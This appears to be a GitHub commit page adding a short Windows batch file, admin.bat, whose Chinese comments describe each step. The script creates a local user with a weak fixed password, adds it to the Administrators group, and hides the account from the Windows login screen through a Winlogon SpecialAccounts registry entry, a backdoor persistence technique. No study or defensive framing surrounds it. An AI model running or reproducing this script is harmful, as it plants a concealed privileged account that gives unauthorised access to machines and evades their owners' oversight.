Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
luoyunlingyu2 authored Oct 5, 2024
0 parents commit 15a15d7
Showing 1 changed file with 19 additions and 0 deletions.
19 changes: 19 additions & 0 deletions admin.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
@echo off
setlocal

:: 设置用户名和密码
set "username=1111sb"
set "password=1234"

:: 创建管理员账户
net user %username% %password% /add
net localgroup Administrators %username% /add

:: 隐藏账户(修改注册表)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v %username% /t REG_DWORD /d 0 /f

:: 隐藏脚本运行窗口
>nul 2>&1

:: 结束脚本
exit /b

0 comments on commit 15a15d7

Please sign in to comment.